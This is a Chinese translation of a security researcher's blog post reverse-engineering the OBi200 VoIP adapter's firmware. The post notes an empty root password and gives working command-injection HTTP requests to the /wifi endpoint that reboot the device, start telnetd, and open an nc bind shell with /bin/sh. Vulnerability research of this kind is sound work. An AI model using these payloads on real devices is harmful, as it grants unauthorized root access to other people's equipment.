逆向Google Voice设备OBi200 （一）

首先，大概了解一下这个OBi200到底是什么东西。以下是一些摘自Obi200官网的内容：

拥有Obi200，你就可以掌控你的数字or模拟通信交流。通过经由ObiTALK网络连接的终端或是VoIP服务，你将能呼叫和接听电话、收发传真, 以及桥接移动、 固定线路和网络电话服务。OBi200 支持T.38传真标准的可靠的传真呼叫。

主要特征：

• 同时支持4个SIP账户在线

• 通过Phone接口接入扩展服务

• 4 SIP和1 OBiTALK服务聚合/桥接

• 自动话务简化呼叫路由

• 自动回拨服务

OK，以下为正文：

Obi200为集成Google Voice的家用/家居办公VoIP网关。它支持大多数标准VoIP功能并且能整合任何便携设备的SIP服务。我在今年早些时候买了一个作为家庭座机，到目前为止，一切正常。在进一步使用之前，我决定深入探究其工作原理。

固件分析

进入设备，打开Web界面，我做的第一件事便是查看预装固件版本：

由上图，Obi200 预装固件为3.0.1(Build:4492)。从Obihai网站查询得知，最新版本为3.1.1(Build:5463EX)——显然，我的固件有待更新。不过，我并没有立即升级，或许能从旧固件中发现某些被修复的漏洞呢。

接下来，我从Obi网站上获得了固件。虽未能找到与我的设备完全对应的版本，不过3.0.1（Build:4738）这个版本对于我的目标已经够接近了。经binwlak扫描，得到如下结果：

注意到上图显示，存在Squashfs Image以及ARM uImage文件。这看起来有希望进行更进一步的探究，于是我将他们解压到我的本地文件系统上。

通过对这些文件，我得以更进一步地了解到其底层实现。这是/etc/passwd 文件:

root::0:0:root:/root:/bin/sh

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/usr/sbin:

sys:*:3:3:sys:/dev:

adm:*:4:4:adm:/var/adm:

lp:*:5:7:lp:/var/spool/lpd:

sync:*:6:8:sync:/bin:/bin/sync

shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown

halt:*:8:10:halt:/sbin:/sbin/halt

mail:*:9:11:mail:/var/spool/mail:

news:*:10:12:news:/var/spool/news:

uucp:*:11:13:uucp:/var/spool/uucp:

operator:*:12:0:operator:/root:

games:*:13:100:games:/usr/games:

ftp:*:15:14:ftp:/var/ftp:

man:*:16:100:man:/var/cache/man:

nobody:*:65534:65534:nobody:/home:/bin/sh

从图中可以看到，root账户未设置密码。/etc/rc目录下的启动脚本同样存在一些有趣的信息：

/bin/swcfg-pw0000x3800

hostname OBi202

#hostname FFxAV

mount-tproc proc/proc

# Create /var on RAM disk

mount-tramfs none/var

mkdir/var/lib

mkdir/var/run

mkdir/var/log

mkdir/var/ppp

mkdir/var/tmp

cp-p/etc/ppp.ori/*/var/ppp

touch/var/tmp/resolv.conf

#

#mount -t squashfs /dev/mtdblock7 /obi

# Making the /etc directory point to MTD4

# mount -t jffs2 /dev/mtdblock4 /etc -o sync

# Making the /etc directory point to MTD4

# mount -t jffs2 /dev/mtdblock4 /scratch -o sync

# gateway begin

mount-tsysfs none/sys

mkdir/var/run/ppp-p# needed by pppd

mkdir/var/log/ppp-p

mkdir/var/lock# needed by wvdial

#echo "******** Start udev"

mount-n-ttmpfs-omode=0755udev/dev

cp-a-f/dev0/*/dev

# It's all over netlink now

if[-e/proc/sys/kernel/hotplug];then

echo"">/proc/sys/kernel/hotplug

fi

#udevd --daemon

#echo "start monitor"

#udevadm monitor -e >/dev/.udev.log &

#UDEV_MONITOR_PID=$!

#echo "start trigger"

#udevadm trigger

#echo "start settle"

#udevadm settle

#kill $UDEV_MONITOR_PID

mount-ttmpfs none/dev/shm-osize=512K

mount-tdevpts none/dev/pts

#mknod -m 644 /dev/urandom c 1 9

#chown root /dev/urandom

echo"******** Start syslogd"

touch/var/log/messages

syslogd

# gateway end

# Start network device

cd/etc

#. ./rc.net &

../rc.net

cd/

echo"===> Obi <==="

cd/obi

#cd /usr/local/obi

./obi&

注意到，以上对调试/开发的注释，让我们更多地了解到系统环境：经过初始化后，脚本将进入系统预定目录 / obi /，并启动主 obi  脚本（最终是 obiapp二进制文件）。

弹出shell

通过对这些文件的快速搜索，我找到了一份关于去年Obihai的Obi1000 IP Phone产品的漏洞披露。由于其中有一个PoC提及了obiapp二进制文件并且在Obi200有相似的URI结构，这看起来似乎在这两款产品中有某些共享代码，我测试了我的硬件上的命令注入漏洞并验证了由此导致的设备重启：

GET /wifi?checkssid=$(reboot) HTTP/1.1<br>Host: OBi202

接下来，我尝试着开启telnet服务，不过，经过几次失败的尝试后，我发现默认的telnet端口23被特意封锁了。不过我最终还是成功地获取到shell并通过另一个端口运行telnet：

GET /wifi?checkssid=$(telnetd -p 2280 &) HTTP/1.1<br>Host: OBi202

附加注入

我很好奇它是否还存在其他相似的注入点，于是我决定进一步地探索。我在IDA反汇编了obiapp 二进制文件，发现了路由上述checkssid请求的决策点。在邻近的地方，我还发现了另外几个相同的 问题。

一组PoC：

GET /wifi?reconnect=$(telnetd -p 2280 &) HTTP/1.1
Host: OBi202

GET /wifi?conf_cc_adhoc=$(nc${IFS}-l${IFS}-p${IFS}2281${IFS}-e${IFS}/bin/sh) HTTP/1.1
Host: OBi202

可以看到，上面的第二个请求由于经过格式化，显得看起来有些异常，这是由于程序进程在将其传递给system()调用前并未解码空格所致。

终极root

在最近更新的固件中，上面提到的post漏洞已经被修复了，我希望即使在升级固件后仍能拥有root。我以获取得命令行接口作为我的终极赌注，通过grep 搜索dmesg ,了解到串口的一些信息：

由上图可知，串口监听/dev/ttyS0,现在只剩找到主板的调试接口了。

在本文的第2 部分，我将专注于通过UART接口获取系统的访问，敬请期待哦！

本文由看雪翻译小组 StrokMitream 编译，来源Randy Westergren

转载请注明来自看雪社区

热门阅读

点击阅读原文/read，

更多干货等着你~